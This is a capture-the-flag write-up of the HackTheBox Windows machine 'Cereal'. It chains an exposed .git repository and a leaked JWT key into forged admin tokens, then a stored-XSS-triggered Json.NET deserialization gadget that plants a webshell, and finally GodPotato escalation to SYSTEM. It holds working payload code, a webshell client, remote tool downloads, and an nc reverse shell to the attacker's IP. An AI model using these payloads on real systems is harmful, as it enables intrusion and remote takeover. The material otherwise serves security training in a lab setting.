HTB: Cereal Writeup
Cereal - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Cereal |
| OS | Windows |
| Difficulty | Hard |
| Points | N/A |
| Release Date | N/A |
| IP Address | 10.129.64.62 |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐⭐☆ (4/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐☆☆☆
- CTF-like: ⭐⭐⭐⭐☆
Summary
Cereal is a Windows box built around an ASP.NET Core 3.0 application (Cereal) served on two virtual hosts, cereal.htb and source.cereal.htb. The latter leaked an exposed .git repository, which was dumped and mined for a hardcoded JWT signing key buried in the commit history. That key was used to forge an authentication token for user ID 1, but the interesting API endpoints were locked down to 127.0.0.1/::1 via an [Authorize(Policy = "RestrictIP")] filter. Chaining a stored XSS in the admin request-review panel with an insecure Newtonsoft.Json (TypeNameHandling.Auto) deserialization gadget in the app’s own Cereal.DownloadHelper class turned that server-side-only restriction into a remote-write primitive — the injected script made the server itself issue the privileged request, triggering the deserialization gadget and dropping a .aspx webshell into the site’s uploads folder. From there, command execution as cereal\sonny led to the user flag, and SeImpersonatePrivilege on a Windows Server 2019 host was abused with GodPotato to obtain a SYSTEM token and a full reverse shell.
TL;DR: Leaked .git repo → hardcoded JWT key in commit history → forged admin JWT → stored XSS bypasses RestrictIP by making the server request its own API → Json.NET deserialization gadget (Cereal.DownloadHelper) drops a webshell → foothold as sonny → SeImpersonatePrivilege + GodPotato → SYSTEM.
Reconnaissance
Service Enumeration
The target (10.129.64.62) resolves two virtual hosts behind IIS:
cereal.htb— the main Cereal web application (login page)source.cereal.htb— a companion vhost that throws a raw ASP.NET compilation error on request:
<b>Compiler Error Message:</b> CS1519: Invalid token '>' in class, struct, or interface member declarationThis error page is the first tell that source.cereal.htb is serving something it shouldn’t — a broken/partial deployment of the site’s own source tree rather than the compiled app.
Vulnerability Assessment
Probing further exposed a live .git directory under source.cereal.htb/.git/, confirmed reachable via a raw object fetch:
# confirm the .git tree is web-accessiblecurl -sk https://source.cereal.htb/.git/HEAD -w "\n[%{http_code}]\n"# [200]An exposed .git on a production vhost is a full source-code disclosure vulnerability — the entire commit history, including anything ever committed and later “fixed”, is recoverable.
Initial Foothold
Dumping the repository
git-dumper (v1.0.9) was used to reconstruct the working tree from the exposed git objects:
# pull every reachable object and reconstruct the working treepython3 -m git_dumper https://source.cereal.htb/.git ./cereal_srcThis required the /etc/hosts entry for cereal.htb / source.cereal.htb to point at the current instance IP — a stale entry from a prior spawn caused an initial No route to host failure until it was corrected to 10.129.64.62.
The recovered repo is an ASP.NET Core 3.0 web app (Cereal.csproj, TargetFramework: netcoreapp3.0) with a React ClientApp frontend.
Recovering the hardcoded JWT key from history
cd cereal_src && git log -p -- Services/UserService.csThe current HEAD has the signing key redacted, but the diff between commits shows it was previously hardcoded in plaintext and only masked in a later “security fix” commit — the key itself was never rotated:
commit 8f2a1a8 "CEREAL!!" var key = Encoding.ASCII.GetBytes("secretlhfIH&FY*#oysuflkhskjfhefesf"); var key = Encoding.ASCII.GetBytes("****"); // later commit: 7bd9533 "Security fixes"Since the key was leaked but the code never rotated it, any HS256 JWT signed with this key is trusted by JwtSecurityTokenHandler regardless of who issues it.
Forging an admin JWT
UserService.Authenticate embeds ClaimTypes.Name = user.UserId.ToString() as the sole claim — user ID 1 maps to the admin account. Using PyJWT 2.11.0, a valid token was forged directly, with no need to authenticate at all:
import jwt, timekey = "secretlhfIH&FY*#oysuflkhskjfhefesf"now = int(time.time())payload = {"unique_name": "1", "nbf": now, "exp": now + 7*86400, "iat": now}token = jwt.encode(payload, key, algorithm="HS256")Bypassing the RestrictIP policy
Controllers/RequestsController.cs gates Get, GetAll, Delete, and DeleteAll behind [Authorize(Policy = "RestrictIP")], which the app’s appsettings.json locks to ["127.0.0.1", "::1"]. Confirmed directly:
curl -sk https://cereal.htb/requests -H "Authorization: Bearer $TOKEN" -w "\n[%{http_code}]\n"# [403] — blocked by RestrictIP, even with a valid admin JWTThe POST /requests (Create) action, however, has no RestrictIP policy — only [Authorize] — so an arbitrary JSON blob could be inserted into the Requests table from anywhere:
curl -sk -X POST https://cereal.htb/requests -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" \ -d '{"json":"{\"title\":\"test\",\"description\":\"test\",\"color\":\"#000\",\"flavor\":\"test\"}"}'# {"message":"Great cereal request!","id":9}Get(int id) deserializes that stored json field with:
if (json.ToLower().Contains("objectdataprovider") || json.ToLower().Contains("windowsidentity") || json.ToLower().Contains("system")){ return BadRequest(new { message = "The cereal police have been dispatched." });}var cereal = JsonConvert.DeserializeObject(json, new JsonSerializerSettings{ TypeNameHandling = TypeNameHandling.Auto});TypeNameHandling.Auto is the classic Json.NET insecure-deserialization primitive normally exploited with ysoserial.net ObjectDataProvider/WindowsIdentity gadgets — but the app blocklists those substrings by name. Rather than fight the blocklist, the app’s own Cereal.DownloadHelper class is a usable gadget in its own right: setting its URL and FilePath properties (both public setters) triggers a file download as a side effect:
private void Download(){ using (WebClient wc = new WebClient()) { if (!string.IsNullOrEmpty(_URL) && !string.IsNullOrEmpty(_FilePath)) { // note: renames the target file by inserting "21098374243-" before the last "\" wc.DownloadFile(_URL, ReplaceLastOccurrence(_FilePath, "\\", "\\21098374243-")); } }}Since DownloadHelper never appears in the blocklist, Get(id) can be made to deserialize a $type pointing at it and drop an arbitrary remote file into the site’s uploads folder.
XSS as the server-side request trigger
Get(id) is only reachable from 127.0.0.1/::1 — but the request titles are rendered on the admin panel via a markdown component vulnerable to javascript:-URI XSS in link syntax. A malicious request was submitted whose title is a markdown link that document.writes an inline <script> (parentheses hex-escaped as \x28/\x29 to survive markdown parsing):
js_payload = ( "<script>" "const xhr = new XMLHttpRequest\\x28\\x29;" f"xhr.open\\x28'GET', 'https://cereal.htb/requests/{cereal_id}'\\x29;" f"xhr.setRequestHeader\\x28'Authorization', 'Bearer {TOKEN}'\\x29;" "xhr.send\\x28\\x29;" "</script>")cereal = {"json": json.dumps({ "title": f"[XSS](javascript: document.write`{js_payload}`)", "flavor": "bacon", "color": "#000", "description": "test"})}When this stored request is next rendered by the app’s internal admin-review process — which runs on the server itself and therefore satisfies the 127.0.0.1 whitelist — the injected script fires an authenticated GET /requests/{id} from the server to itself, converting the RestrictIP bypass into a fully server-triggered deserialization call.
Delivering the webshell
A deserialization payload was staged first, pointing DownloadHelper at a classic VB cmd.aspx webshell hosted on the attack box:
deser = { "$type": "Cereal.DownloadHelper, Cereal, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null", "URL": "http://10.10.15.68:8000/cmd.aspx", "FilePath": "C:\\\\inetpub\\\\source\\\\uploads\\\\cmd.aspx"}The initial attempt used port 80 for the local HTTP server, which failed — a stale python3 -m http.server process (owned by a prior session’s /tmp/exfil.py, running as root) already held that port. Switching the payload server to port 8000 resolved it:
setsid nohup python3 -m http.server 8000 > /tmp/www/http.log 2>&1 < /dev/null &The XSS trigger was then fired against the deserialization request’s ID, and the server-side fetch of cmd.aspx showed up moments later:
10.129.64.62 - - [30/Aug/2026 16:30:18] "GET /cmd.aspx HTTP/1.1" 200 -Per DownloadHelper’s rename logic, the shell landed prefixed:
curl -sk "https://source.cereal.htb/uploads/21098374243-cmd.aspx" -o /dev/null -w "%{http_code}\n"# 200Interacting with the webshell and reading user.txt
The webshell exposes an ASP.NET WebForms xpath/xcmd form protected by __VIEWSTATE/__EVENTVALIDATION, which have to be scraped and replayed on every request:
def run(cmd): r = requests.get(BASE, verify=False) viewstate = re.search(r'id="__VIEWSTATE" value="([^"]*)"', r.text).group(1) viewstategen= re.search(r'id="__VIEWSTATEGENERATOR" value="([^"]*)"', r.text).group(1) eventval = re.search(r'id="__EVENTVALIDATION" value="([^"]*)"', r.text).group(1) data = {"__VIEWSTATE": viewstate, "__VIEWSTATEGENERATOR": viewstategen, "__EVENTVALIDATION": eventval, "xpath": "c:\\windows\\system32\\cmd.exe", "xcmd": f"/c {cmd}", "Button": "Run"} resp = requests.post(BASE, data=data, verify=False)python3 /tmp/webshell.py whoamipython3 /tmp/webshell.py "type C:\Users\sonny\Desktop\user.txt"# <redacted>Privilege Escalation
Enumerating for an impersonation path
python3 /tmp/webshell.py "whoami /priv"SeChangeNotifyPrivilege Bypass traverse checking EnabledSeImpersonatePrivilege Impersonate a client after authentication EnabledSeIncreaseWorkingSetPrivilege Increase a process working set Disabledpython3 /tmp/webshell.py "systeminfo | findstr /B /C:\"OS Name\" /C:\"OS Version\""# OS Name: Microsoft Windows Server 2019 Standard# OS Version: 10.0.17763 N/A Build 17763SeImpersonatePrivilege on a Windows Server 2019 (build 17763) host rules out RottenPotato/JuicyPotato (which rely on RPC/BITS behaviors patched or since altered) and there’s no Print Spooler for PrintSpoofer. GodPotato (which abuses the DCOM/RPCSS OXID resolver marshalling flow rather than any single patched service) works regardless of build, so it was the tool of choice.
Staging tools
curl -sL -o GodPotato.exe "https://github.com/BeichenDream/GodPotato/releases/download/V1.20/GodPotato-NET4.exe"curl -sL -o nc64.exe "https://github.com/int0x33/nc.exe/raw/master/nc64.exe"Both were pulled onto the target via the webshell:
python3 /tmp/webshell.py "powershell -c \"Invoke-WebRequest -Uri http://10.10.15.68:8000/GodPotato.exe -OutFile C:\\Users\\sonny\\Desktop\\GodPotato.exe\""python3 /tmp/webshell.py "powershell -c \"Invoke-WebRequest -Uri http://10.10.15.68:8000/nc64.exe -OutFile C:\\Users\\sonny\\Desktop\\nc64.exe\""Escalating with GodPotato
Direct quoting through the webshell’s single xcmd parameter mangled nested quotes badly enough that command output kept coming back empty, so the payload was base64-encoded as UTF-16LE and delivered via powershell -EncodedCommand — the standard technique for smuggling complex PowerShell through a crude web-based command runner:
cmd = r'''& 'C:\Users\sonny\Desktop\GodPotato.exe' -cmd 'C:\Users\sonny\Desktop\nc64.exe 10.10.15.68 9001 -e cmd.exe' '''b = cmd.encode('utf-16le')print(base64.b64encode(b).decode())A netcat listener was opened on the attack box beforehand (through an mkfifo pipe to work around the webshell being one command-response per HTTP call):
setsid nohup bash -c "cat /tmp/shell_fifo | nc -l -p 9001 > /tmp/shell_9001.log 2>&1" < /dev/null &Triggering the encoded command produced GodPotato’s DCOM/RPCSS token-theft trace, ending in a stolen SYSTEM token:
[*] Trigger RPCSS[*] CurrentUser: NT AUTHORITY\NETWORK SERVICE[*] Start Search System Token[*] PID : 868 Token:0x848 User: NT AUTHORITY\SYSTEM ImpersonationLevel: Impersonation[*] Find System Token : True[*] UnmarshalObject: 0x80070776[*] CurrentUser: NT AUTHORITY\SYSTEM[*] process start with pid 2688The reverse shell landed on port 9001 as SYSTEM:
Microsoft Windows [Version 10.0.17763.1817](c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>GodPotato -cmd spawns nc64.exe with the impersonated SYSTEM token, giving a fully interactive shell with NT AUTHORITY\SYSTEM privileges and access to the root flag.
Attack Chain Summary
Exposed .git on source.cereal.htb → git-dumper full repo recovery → hardcoded JWT signing key recovered from commit history (git log -p) → forged admin JWT (uid=1) with PyJWT/HS256 → POST /requests (unrestricted) stores arbitrary attacker JSON → Stored XSS in request title (javascript: document.write markdown link) → XSS fires server-side GET /requests/{id} from 127.0.0.1, satisfying RestrictIP → Json.NET TypeNameHandling.Auto deserializes Cereal.DownloadHelper gadget → DownloadHelper.Download() drops cmd.aspx webshell into /uploads → Webshell RCE as cereal\sonny → user.txt → whoami /priv: SeImpersonatePrivilege enabled → GodPotato (DCOM/RPCSS token theft) → SYSTEM token → nc64.exe reverse shell as NT AUTHORITY\SYSTEM → root.txtTools Used
| Tool | Purpose |
|---|---|
curl | Vhost/error-page recon, .git reachability check, direct API probing |
git-dumper (1.0.9) | Reconstructing the exposed source.cereal.htb/.git repository |
git log -p | Mining commit history for the redacted JWT signing key |
| PyJWT (2.11.0) | Forging an HS256 admin JWT with the recovered key |
Python requests | Automating the POST /requests deserialization + XSS trigger payloads |
| Custom Python webshell client | Scraping/replaying ASP.NET __VIEWSTATE/__EVENTVALIDATION against cmd.aspx |
cmd.aspx (fuzzdb-webshell) | Initial RCE primitive delivered via the deserialization gadget |
python3 -m http.server | Hosting the webshell and post-exploitation binaries for retrieval |
| GodPotato (V1.20, NET4) | SeImpersonatePrivilege → SYSTEM token theft via DCOM/RPCSS |
nc64.exe | SYSTEM-level reverse shell |
mkfifo + nc -l | Turning a one-shot netcat listener into a persistent sink for a non-interactive webshell |
Key Learnings
Techniques Practiced
- Recovering source from an exposed
.gitdirectory and mining full commit history (not justHEAD) for secrets that were “redacted” rather than rotated - Forging JWTs against a recovered HS256 signing key with PyJWT
- Chaining a stored XSS with a server-side-only authorization policy (
RestrictIP) to make the server issue a privileged request against itself - Exploiting
Newtonsoft.JsonTypeNameHandling.Autoinsecure deserialization using an application-defined gadget instead of ysoserial.net’s well-known (and blocklisted) gadget chain - Smuggling complex PowerShell through a crude WebForms-based webshell via base64
-EncodedCommand - Using GodPotato for SeImpersonatePrivilege → SYSTEM privilege escalation on Windows Server 2019, where RottenPotato/JuicyPotato/PrintSpoofer don’t apply
Lessons Learned
- Removing a secret from
HEADdoes not remove it from the repository — anyone who can walkgit log -precovers it just as easily as reading the file. Secrets must be rotated, not merely redacted in a follow-up commit. - Blocklisting specific gadget-chain keywords (
ObjectDataProvider,WindowsIdentity,System) against a Json.NET deserialization sink doesn’t close the vulnerability class — any type reachable through the app’s own namespace with a side-effecting property setter is a usable gadget the blocklist won’t catch. - An IP-based authorization policy is only as strong as the code paths that can be tricked into making requests on the server’s behalf; a stored XSS rendered by an internal, same-host process is functionally equivalent to an SSRF against
127.0.0.1. - Before binding a new local listener port during exploitation, check for stale processes left over from a prior session — a leftover
python3 -m http.server 80process silently absorbed the first delivery attempt.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
- MinatoTW, “Cereal” HackTheBox Writeup — Document No D21.100.120, 2021-05-26. Used for explanatory context on the
react-marked-markdownXSS advisory, theDownloadHelpergadget rationale, and the general SeImpersonatePrivilege escalation approach on Windows Server 2019.